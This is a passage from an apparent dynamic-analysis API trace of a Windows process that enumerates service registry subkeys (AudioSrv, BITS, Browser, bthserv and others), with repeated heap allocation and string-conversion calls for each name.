0x21f1a48 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.976] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0254.976] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.976] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.976] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0254.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0254.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0254.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.025] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0255.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0255.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.025] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0255.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0255.025] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.026] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0255.026] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.026] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.027] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.027] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.027] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.027] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.027] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.027] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.028] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.028] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.028] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 